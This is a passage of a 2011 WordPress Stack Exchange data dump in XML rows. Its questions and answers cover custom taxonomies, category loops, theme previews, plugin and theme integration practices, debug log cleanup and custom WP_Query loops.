  <row Id="25688" PostTypeId="1" CreationDate="2011-08-11T20:46:28.020" Score="1" ViewCount="26" Body="&lt;p&gt;Here's the thing. There are some custom post types, and there are some custom taxonomies (categories). What i want to do is to sort them by that category on admin page. I assume that it should be done same way as it's for standard posts&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-admin/edit.php?post_type=post&amp;amp;category_name=development&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, if my custom post type is 'movie' and custom taxonomy is 'mood', neither of this works.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-admin/edit.php?post_type=movie&amp;amp;mood=scary&#xA;wp-admin/edit.php?post_type=movie&amp;amp;taxonomy=mood&amp;amp;category=scary&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyth sparkles in mind yet?&lt;/p&gt;&#xA;" OwnerUserId="7835" LastActivityDate="2011-08-11T20:46:28.020" Title="Sorting custom post types by custom taxonomy on wp admin" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;sort&gt;" CommentCount="1" />
  <row Id="25689" PostTypeId="1" AcceptedAnswerId="25690" CreationDate="2011-08-11T21:05:36.263" Score="0" ViewCount="15" Body="&lt;p&gt;I'm looking to print out All of the Main Categories (So Exclude Sub-Categories) in a Loop, I need to get the ID's to do some advanced category listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I need to echo this out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3 CatName&#xA;4 CatName&#xA;5 CatName&#xA;x CatName&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where the number is the category # and the CatName is the name of the category&lt;/p&gt;&#xA;" OwnerUserId="6910" LastEditorUserId="4884" LastEditorDisplayName="" LastEditDate="2011-08-11T21:17:28.970" LastActivityDate="2011-08-11T21:17:28.970" Title="Printing out Main Category ID's in a Loop" Tags="&lt;categories&gt;&lt;get-categories&gt;" AnswerCount="1" />
  <row Id="25690" PostTypeId="2" ParentId="25689" CreationDate="2011-08-11T21:16:58.283" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/get_categories&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;foreach(get_categories('parent=0&amp;amp;orderby=id') as $cat) { &#xA;   echo $cat-&amp;gt;term_id.' '.$cat-&amp;gt;name.'&amp;lt;br/&amp;gt;'; &#xA;} &#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-08-11T21:16:58.283" CommentCount="1" />
  <row Id="25691" PostTypeId="2" ParentId="22341" CreationDate="2011-08-11T21:22:19.550" Score="0" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$cat = $cat[0]-&amp;gt;cat_ID;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;of course if $cat is not empty&lt;/p&gt;&#xA;" OwnerUserId="7835" LastActivityDate="2011-08-11T21:22:19.550" />
  <row Id="25692" PostTypeId="2" ParentId="25687" CreationDate="2011-08-11T21:57:37.017" Score="1" ViewCount="" Body="&lt;p&gt;I've done this with &lt;a href=&quot;http://wordpress.org/extend/plugins/twitter-tools/&quot; rel=&quot;nofollow&quot;&gt;Twitter Tools&lt;/a&gt;. Basically it hooks up the blog to a Twitter feed, and for each new tweet creates a blog post. You can put twitter posts in a separate category (or add tags), and use that to style twitter-posts differently from regular posts, hide the comments field, whatever. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps - good luck!&lt;/p&gt;&#xA;" OwnerUserId="16" LastActivityDate="2011-08-11T21:57:37.017" CommentCount="3" />
  <row Id="25693" PostTypeId="1" CreationDate="2011-08-11T21:59:24.533" Score="1" ViewCount="18" Body="&lt;p&gt;Ok, so I have an interesting situation here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm looking to have an option to &quot;visually&quot; change a theme via a query string. Basically over-riding the need to update the database and just temporarily change the look of the site (think sort of like the preview button in the Themes section?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example:&#xA;Let's say I have a demo site that has the same content but I want to give people the option to see what the site will look like under different themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of creating multiple blogs (networked or not), I want to keep things maintainable for the content and dynamically change the theme without actually setting it in the database. That way, if I have multiple users viewing the same blog they instantly see the default and can change the theme without updating the site for everyone else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible??? I've tried thinking of alternatives and this is the only way I can think of. Any suggestions or answers would be great :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="4065" LastActivityDate="2011-08-11T22:07:20.670" Title="Visually change theme via query string?" Tags="&lt;themes&gt;&lt;query-string&gt;" AnswerCount="1" />
  <row Id="25694" PostTypeId="2" ParentId="15821" CreationDate="2011-08-11T22:03:43.337" Score="-2" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$instance['title'] = strip_tags($new_instance['title']);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;remove this line.&lt;/p&gt;&#xA;" OwnerUserId="7835" LastActivityDate="2011-08-11T22:03:43.337" />
  <row Id="25695" PostTypeId="2" ParentId="25693" CreationDate="2011-08-11T22:07:20.670" Score="1" ViewCount="" Body="&lt;p&gt;There are plenty of plugins for something like this, but there are a lot of nuances between them (who can swtich, how to switch, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://wordpress.org/extend/plugins/tags/theme-preview&quot; rel=&quot;nofollow&quot;&gt;&lt;em&gt;theme preview&lt;/em&gt; tag&lt;/a&gt; in repository for starters.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-08-11T22:07:20.670" />
  <row Id="25697" PostTypeId="1" CreationDate="2011-08-11T23:25:58.277" Score="12" ViewCount="121" Body="&lt;p&gt;I would like to get some opinions regarding the best practices for developing WordPress plugins that provide  theme integration. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to make sense as I ask this question, let me start with an hypothetical example of a scenario that I am curious about. Imagine that I create a plugin called &quot;Discography&quot;. Discography registers three custom post types: &quot;Bands&quot;, &quot;Albums&quot;, and &quot;Tracks&quot;. The plugin also provides meta boxes that provide details for each post type, as well as, custom taxonomies to organize each post type. These post types are tied together with the &lt;a href=&quot;http://wordpress.org/extend/plugins/posts-to-posts/&quot; rel=&quot;nofollow&quot;&gt;Posts 2 Posts&lt;/a&gt; plugin. Within the admin, the user can add new bands, which can be associated with albums, which, in turn are associated with tracks, all which will have lots of other data added to them via meta boxes and taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I don't want this plugin to simply set up an admin for users to enter this information; I would want it to provide some default displays for the data. A more advanced user/developer would be fine having only this admin. It would be easy enough for her to grab that data and use in the theme; however, without some default views, this plugin would be useless for most users. For this example, you could display anything like (parentheses show the ways the info could be displayed in order of the template hierarchy):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Bands (single-prefix-band.php, single.php, index.php, shortcode)&lt;/li&gt;&#xA;&lt;li&gt;Albums (single-prefix-album.php, single.php, index.php, shortcode)&lt;/li&gt;&#xA;&lt;li&gt;Tracks (single-prefix-track.php, single.php, index.php, shortcode)&lt;/li&gt;&#xA;&lt;li&gt;Band Listing (template-band-list.php, page-band-listing.php, page-{id}.php, page.php, index.php, shortcode) &lt;/li&gt;&#xA;&lt;li&gt;Album Listing (template-album-list.php, page-album-listing.php,&#xA;page-{id}.php, page.php, index.php, shortcode)&lt;/li&gt;&#xA;&lt;li&gt;Album Timeline (template-album-timeline.php, page-album-timeline.php,&#xA;page-{id}.php,    page.php, index.php, shortcode)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It's important that there is some default presentation for these post types as the default template files would not display all of the information that is needed for each of the post types. For instance, the Twenty Eleven theme, by default, would just show the name, categories, description and post date for an album. Not very useful for an album. I would want to provide a single post template that pulls in the band, release date, record label, album versions, tracks, etc. As a plugin developer I would feel that that would be important to provide. I know the template wouldn't work out for every theme, but there should be some default that can be further integrated with the user's theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Again, I'm curious about what is the best way to handle this situation? I think you could do any of the following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Shortcodes&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shortcodes could be used as a very flexible and user friendly way to allow non-devs to add a bands, albums, tracks, band lists, etc. anywhere in the site. It would be helpful for featuring bands on specific pages or creating separate pages for each band (not very efficient, but some users approach things this way). The shortcode would generate HTML, which would be tied to a provided CSS file that would provide a nice default view of the desired data. Everything would be contained within the plugin files and nothing would need to be done with the theme.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Template Files&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin could also ship with template files. The template files could be marked up and styled for a nice default view. You could provide instructions for your user to move the files to the theme folder so that the theme will find the right templates when the post types are viewed. You could even go so far as providing an interface to allow the user to move the files with a single click (note: I would not create files in the user's theme folder on activation because adding files to their theme without them initiating it is evil). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also use filters to utilize these files without moving them out of the plugin folder, keeping everything self contained. I've seen the &quot;template_include&quot; and the &quot;{$type}_template&quot; filters used for this purpose. In fact, you could use templates from the themes folder and if they are not present, you can fall back on these filters to provide the default views. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Question&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I like to know what others think are the best practices for these situations, if the presented ideas are problematic in any way, and any alternatives that I've not included.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-25T00:45:34.630" Title="Methods of Integrating Plugin Data with Themes" Tags="&lt;plugin-development&gt;&lt;theme-integration&gt;&lt;template-include&gt;" AnswerCount="3" CommentCount="5" FavoriteCount="5" />
  <row Id="25698" PostTypeId="1" CreationDate="2011-08-11T23:39:18.637" Score="0" ViewCount="16" Body="&lt;p&gt;In most of the posts on my site, embedded images link to the actual image file. I'm also using Web-App mode via WPTouch. In web-app mode images linked to their larger versions shouldn't open; since Web-App mode has no back button, a user can follow a link to a image and become &quot;stranded&quot; there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm also using W3 Total Cache, which appends the param string &quot;?9d7bd4&quot; to all my images. This makes sure that if you change your browser cache policies all users immediately see that change.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, apparently the the appended image string allows for the images to be clicked on and stranded. Interferes with whatever is stripping the image links.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All BraveNewCode can tell me is try &quot;disabling Browser Cache in W3TC&quot; which I obviously I'm not interested in doing. Suggestions?&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-08-11T23:39:18.637" Title="Web App mode leaves users stranded when following image links when using WPTouch with W3 Total Cache" Tags="&lt;images&gt;&lt;plugin-w3-total-cache&gt;&lt;mobile&gt;&lt;plugin-wptouch&gt;" />
  <row Id="25699" PostTypeId="2" ParentId="24651" CreationDate="2011-08-11T23:47:47.580" Score="0" ViewCount="" Body="&lt;p&gt;See: &lt;a href=&quot;http://wordpress.org/support/topic/wptouch-w3-total-cache-must-disable-browser-caching&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/wptouch-w3-total-cache-must-disable-browser-caching&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to add that long list to Rejected User Agents under Page Cache, Minify and CDN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your concerned about the browser caching issues when switching between mobile vs. normal themes, you'll need to add some query string pattern in the reject URIs field on the page cache settings tab.&lt;/p&gt;&#xA;" OwnerUserId="4258" LastActivityDate="2011-08-11T23:47:47.580" />
  <row Id="25700" PostTypeId="1" CreationDate="2011-08-12T00:22:07.443" Score="0" ViewCount="11" Body="&lt;p&gt;I have this code on my single page :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;?php echo preg_replace(&quot;/\&amp;lt; *[img][^\&amp;gt;]*[.]*\&amp;gt;/i&quot;,&quot;&quot;,get_the_content(),2); ?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you make &quot;Remove first image if thumbnail pictures (small size pictures lets say 50 bytes), otherwise display/keep first big picture only&quot; ??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help please&lt;/p&gt;&#xA;" OwnerUserId="5676" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-12T00:58:18.040" LastActivityDate="2011-08-12T00:58:18.040" Title="Remove first image if thumbnail pictures, otherwise keep big picture" Tags="&lt;functions&gt;" />
  <row Id="25701" PostTypeId="2" ParentId="25697" CreationDate="2011-08-12T01:30:52.100" Score="4" ViewCount="" Body="&lt;p&gt;I can't answer every single Q you asked, as reading the Q took enough time so far ;), but I try to give you some insights about my personal experience with developing free, open source plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;1.&lt;/strong&gt; Never do too much. Features are the death of every plugin. Build a basic version first and test the reaction of your users. If your plugin gets a lot of attention, you can integrate the features that are mostly requested.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;2.&lt;/strong&gt; Avoid filling every use case. You need to maintain your plugin. WP offers a new version every three month. And sometimes it's hard to follow with all of your plugins. To make an example: A new version of the Settings API is currently &lt;a href=&quot;http://core.trac.wordpress.org/ticket/18285&quot; rel=&quot;nofollow&quot;&gt;discussed on Trac&lt;/a&gt;. When this will be finished, then there's the chance that a lot of plugin or theme developers need to change a large portion of code and some people - like me - have even written an abstraction layer above the API. So you need to go back, rewrite your base/abstraction layer and then rework everything that calls parts of that. I promise that this is a lot of work. And even more if it's bound tight to your code. When you start filling a lot of use cases, then you also got a lot of WP core code evolution that you need to monitor, as well as you got a lot of work keeping your code up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;3.&lt;/strong&gt; Never ever try to bundle a lot of code-examples (or templates) into your plugins or themes. If you want to target developers &lt;em&gt;and&lt;/em&gt; end users: Use your blog for documentation. Developers hate stuff like that and end-users are never satisfied (see: filling every use case).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;4.&lt;/strong&gt; Divide your code wisely into single files. Rule of thumb: One file for one part. Example: styles.php, scripts.php, taxonomies.php, cpts.php, etc. Load everything from a &quot;mother&quot; (factory) class and keep your stuff &quot;pluggable&quot;. If you need to rewrite stuff, you will find it easily. If devs are searching for something: they will find it easily. A lot of well named files, don't harm you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;5.&lt;/strong&gt; If you got a list of basic styles (classes), &lt;a href=&quot;https://github.com/franz-josef-kaiser/Easy-Pagination-Deamon/blob/master/pagination.css&quot; rel=&quot;nofollow&quot;&gt;leave it up to the user&lt;/a&gt;. Chances are simply too high, that styles from the theme or other plugins will intercept your definitions (no matter how much specifity you throw in). Just try to explain it somewhere with as less text as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;6.&lt;/strong&gt; Love your plugin. But let go if you're bored. :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Now - in short words - something about your plugin idea in detail:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A.&lt;/strong&gt; Template files are bad. As I said: Document it on your blog, offer example mark-up and styles there. Your blog will profit (and you as well if you got ads).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;B.&lt;/strong&gt; Shortcodes are kool. They don't harm anybody if the plugin is gone (in most cases) and could be later extend/evolved to TinyMCE buttons (which people love).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;C.&lt;/strong&gt; Make it clear that your plugin needs another plugin. Question this and add a note to admin_notices (via register_activation_hook) if the other plugin doesn't exits (link it in this case) or isn't activated (you could do this for the user on activation). Also note that this plugin comes from a trusted source and will be maintained for the next years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: Nothing I wrote is anything more than my personal opinion, which reflects my experience.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-12T01:30:52.100" CommentCount="4" />
  <row Id="25702" PostTypeId="2" ParentId="25684" CreationDate="2011-08-12T01:40:34.960" Score="0" ViewCount="" Body="&lt;p&gt;If this is a plugin you should really keep the files in your plugin folder. Alternatively you can use the theme folder under it's own name separate from the active theme. I have seen the latter done and it works fine but you don't want some unsuspecting users to activate it by mistake. You should never write to the active theme or any theme the user has installed.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-12T01:40:34.960" />
  <row Id="25703" PostTypeId="1" AcceptedAnswerId="25707" CreationDate="2011-08-12T01:48:44.763" Score="1" ViewCount="20" Body="&lt;p&gt;Sometimes I forget to empty my debug.log file (or that it exists) and after trying to get around a bug, I find it having simply too much content to open it in ex. the basic Windows Text Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of my wp-config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;error_reporting( E_ALL );&#xA;define( 'WP_DEBUG',         true );&#xA;define( 'SAVEQUERIES',      true );&#xA;define( 'WP_DEBUG_LOG',     true ); // file: /core_root/wp-content/debug.log&#xA;define( 'WP_DEBUG_DISPLAY', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; Is there a way to do this via Wordpress, or do I have to do it with basic php functions?&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-08-12T02:51:16.210" Title="How to empty debug.log when file size is above xyMB?" Tags="&lt;debug&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="25704" PostTypeId="1" AcceptedAnswerId="26712" CreationDate="2011-08-12T01:55:44.690" Score="0" ViewCount="32" Body="&lt;p&gt;I have a site that has two different bodies of content: more formal content (using various different custom post types) and a blog (using a blog post type). These two different bodies of content use the same taxonomies—but I would like to have two different versions of the taxonomy archives: one for the formal content, and one for blog content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for a term &lt;strong&gt;science&lt;/strong&gt; in the taxonomy &lt;strong&gt;subjects&lt;/strong&gt; I'd like to have both&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;mysite.com/subjects/science&lt;/strong&gt; AND&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;mysite.com/blog/subjects/science&lt;/strong&gt; (or &lt;strong&gt;mysite.com/subjects/science/blog&lt;/strong&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the best way to accomplish this in Wordpress? I don't want to use pages, because terms are being added all the time. I just want some way to be able to provide two archive templates for taxonomy terms.&lt;/p&gt;&#xA;" OwnerUserId="3564" LastEditorUserId="3564" LastEditorDisplayName="" LastEditDate="2011-08-12T02:17:05.350" LastActivityDate="2011-08-23T19:50:19.540" Title="How to have two different versions of a tag/category/taxonomy archive page?" Tags="&lt;custom-taxonomy&gt;&lt;template&gt;&lt;archive&gt;" AnswerCount="2" />
  <row Id="25705" PostTypeId="1" CreationDate="2011-08-12T02:26:13.037" Score="1" ViewCount="20" Body="&lt;p&gt;I currently run a music blog using Wordpress as my CMS and i'm looking to redesign the site in the very near future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Part of my plan for the redesign is to try and integrate a user ranking system for each blog post.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ideally registered users would be able to upvote or downvote songs (posts), with the results being shown on a separate, dedicated page where viewers could show the most popular tracks from the last day/week/month/year/all-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best analogy would be a hybrid between Reddit and Hypem (or even Stack's system) but hopefully with much less technical proficiency needed for its development.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any plug-ins that may be able to help me develop such an idea? If not could people suggest how I should go about coding it myself? I don't mind taking on such a project but I would love to know how to get started so I'm not wasting time unnecessarily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="4488" LastActivityDate="2011-08-12T22:33:40.313" Title="How would I go about creating a user ranked post popularity page?" Tags="&lt;plugins&gt;&lt;plugin-development&gt;&lt;plugin-recommendation&gt;&lt;best-practices&gt;&lt;coding&gt;" AnswerCount="1" />
  <row Id="25706" PostTypeId="1" CreationDate="2011-08-12T02:31:49.613" Score="-1" ViewCount="26" Body="&lt;p&gt;Because I can't post more thank two links since I'm new here, please read my question at the following link since I can not post more than two links so here the same question I've ask on stackoverflow: &lt;a href=&quot;http://stackoverflow.com/questions/7034970/making-my-ajax-powered-wordpress-crawlable&quot;&gt;http://stackoverflow.com/questions/7034970/making-my-ajax-powered-wordpress-crawlable&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is could someone confirm that I'm on the right path and if possible also help creating that php function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your time and help!&lt;/p&gt;&#xA;" OwnerUserId="7838" LastEditorUserId="7838" LastEditorDisplayName="" LastEditDate="2011-08-12T03:57:47.053" LastActivityDate="2011-08-12T03:57:47.053" Title="Making my AJAX powered Wordpress Crawlable" Tags="&lt;php&gt;&lt;javascript&gt;&lt;ajax&gt;" CommentCount="1" />
  <row Id="25707" PostTypeId="2" ParentId="25703" CreationDate="2011-08-12T02:51:16.210" Score="3" ViewCount="" Body="&lt;p&gt;Create a cron job for a function which checks the file size and runs &lt;code&gt;unlink( WP_CONTENT_DIR . '/debug.log' )&lt;/code&gt; if necessary. &lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-08-12T02:51:16.210" CommentCount="1" />
  <row Id="25708" PostTypeId="1" AcceptedAnswerId="25737" CreationDate="2011-08-12T03:09:19.620" Score="0" ViewCount="40" Body="&lt;p&gt;I need to apply a certain style to every second widget in my sidebar, and I'm reluctant to use :nth-child due to cross-browser compatibility issues. Is there a bit of PHP that will allow me to apply a class to every other widget? &lt;/p&gt;&#xA;" OwnerUserId="6389" LastActivityDate="2011-08-12T18:09:16.180" Title="Style every second widget?" Tags="&lt;php&gt;&lt;widgets&gt;&lt;css&gt;" AnswerCount="3" />
  <row Id="25710" PostTypeId="2" ParentId="25704" CreationDate="2011-08-12T06:17:47.267" Score="0" ViewCount="" Body="&lt;p&gt;The easy way, though not the only one, is to just use the default hierarchy for archives.php&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Hierarchy&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Hierarchy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for you blog archives, use &lt;code&gt;archives.php&lt;/code&gt; or a taxonomy based template like &lt;code&gt;taxonomy-subject.php&lt;/code&gt;.&#xA;Whatever the case you will need to alter the loop query to only show the posts for the term &quot;science&quot; in the taxonomy &quot;subjects&quot; that are posted in the default blog (post).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then for your custom post type archive you can create a template called &lt;code&gt;archive-{post_type}.php&lt;/code&gt; (post type is the name you registered your CPT with). You can basically do the same custom query as above but only include posts in the custom post type ( and none from posts aka your blog).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what you need to get familiar with for custom query's, &lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query#Type_.26_Status_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query#Type_.26_Status_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-12T06:17:47.267" CommentCount="4" />
  <row Id="25711" PostTypeId="2" ParentId="25708" CreationDate="2011-08-12T07:38:47.443" Score="0" ViewCount="" Body="&lt;p&gt;Here's a related discussion on the WordPress.org forum: &lt;a href=&quot;http://wordpress.org/support/topic/dynamic-widget-classes-for-use-in-css&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/support/topic/dynamic-widget-classes-for-use-in-css&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7737" LastActivityDate="2011-08-12T07:38:47.443" />
  <row Id="25712" PostTypeId="1" CreationDate="2011-08-12T08:40:01.857" Score="0" ViewCount="13" Body="&lt;p&gt;I am displaying WP comments on homepage in my index.php file, but the problem I have is that some comments are displayed under each post. The comment number is okay, but the comments are assigned wrong to the post. However when displaying the single page, everything is okay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I checked the IDs of the comments in the DB and it seems to be okay too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what's going on? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the following code in my index.php to display the comments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php global $withcomments; $withcomments = 1; comments_template(); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the whole index.php: &lt;a href=&quot;http://pastebin.com/K3LqbT0T&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/K3LqbT0T&lt;/a&gt; and if it helps here is the actual page: &lt;a href=&quot;http://bit.ly/r1Akbm&quot; rel=&quot;nofollow&quot;&gt;http://bit.ly/r1Akbm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See for example the comment on the latest post from &quot;Linda Walker&quot;, it is displayed under each post :-/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. The posts were originally imported from MovableType, I hope it has nothing with that as I used the official import plugin.&lt;/p&gt;&#xA;" OwnerUserId="4212" LastActivityDate="2011-08-12T08:40:01.857" Title="Comments on homepage (index.php) are duplicated under posts" Tags="&lt;comments&gt;&lt;homepage&gt;" CommentCount="1" />
  <row Id="25713" PostTypeId="1" AcceptedAnswerId="27591" CreationDate="2011-08-12T08:44:58.113" Score="0" ViewCount="36" Body="&lt;p&gt;I have a little problem with my self hosted wordpress blog.&lt;br&gt;&#xA;the problem is it keeps truncating my feeds even when I have chosen not to in the settings page.&lt;br&gt;&#xA;one thing to bear in mind is that I use &lt;code&gt;&amp;lt;!--more--&amp;gt;&lt;/code&gt; tag in almost all of my posts. I was wondering if it's because of that or something else?!&lt;br&gt;&#xA;any help would be awesome.&lt;br&gt;&#xA;thanks&lt;/p&gt;&#xA;" OwnerUserId="7410" LastActivityDate="2011-09-02T23:58:38.833" Title="Wordpress keeps truncating my feeds and I can't stop it" Tags="&lt;rss&gt;&lt;feed&gt;" AnswerCount="2" CommentCount="4" />
  <row Id="25714" PostTypeId="2" ParentId="19822" CreationDate="2011-08-12T08:55:33.537" Score="0" ViewCount="" Body="&lt;p&gt;you should maybe think about using one of Wordpress' built in queries for this sort of thing and create yourself a couple of custom loops.  There probably are plugins out there that can do this for you but as a general rule it's better to reduce reliance on 3rd party scripts wherever possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To do what you have described above you'd probably need a loop that looks like this (Drop this into your homepage template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// This is where we set up the parameters for your custom loop.  In the example below you would want to swap out the category ID numbers with the IDs for your News and Events cateogries&#xA;&amp;lt;?php $my_query = new WP_Query( 'cat=2,6&amp;amp;post_per_page=4' );?&amp;gt;&#xA;&#xA;// The Loop&#xA;&amp;lt;?php if($my_query-&amp;gt;have_posts()) : while ( $my_query-&amp;gt;have_posts() ) : $my_query-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;//Add template tags and other stuff here that you want to show up for each post&#xA;&#xA;&amp;lt;?php endwhile; else: ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;Sorry - No posts to display.&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endif; wp_reset_query();?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To achieve your other loop you would want pretty much the same thing as above, however, you will need to change the first line a bit.  Something like this should work (drop this into your custom page template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//This adds in the pagination that you require.  &#xA;//Once again, you will need to modify the category ID to match the ID of the one you want to display.  &#xA;//You can also tweak the other parameters to suit your requirements&#xA;&amp;lt;?php $paged = ( get_query_var('paged') ) ? get_query_var('paged') : 1;&#xA;query_posts( array( 'cat' =&amp;gt; '12', 'posts_per_page' =&amp;gt; 10, 'orderby' =&amp;gt; 'date', 'order' =&amp;gt; 'DESC', 'paged' =&amp;gt; $paged ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More info on WP-Query can be found here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Class_Reference/WP_Query&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Class_Reference/WP_Query&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="7297" 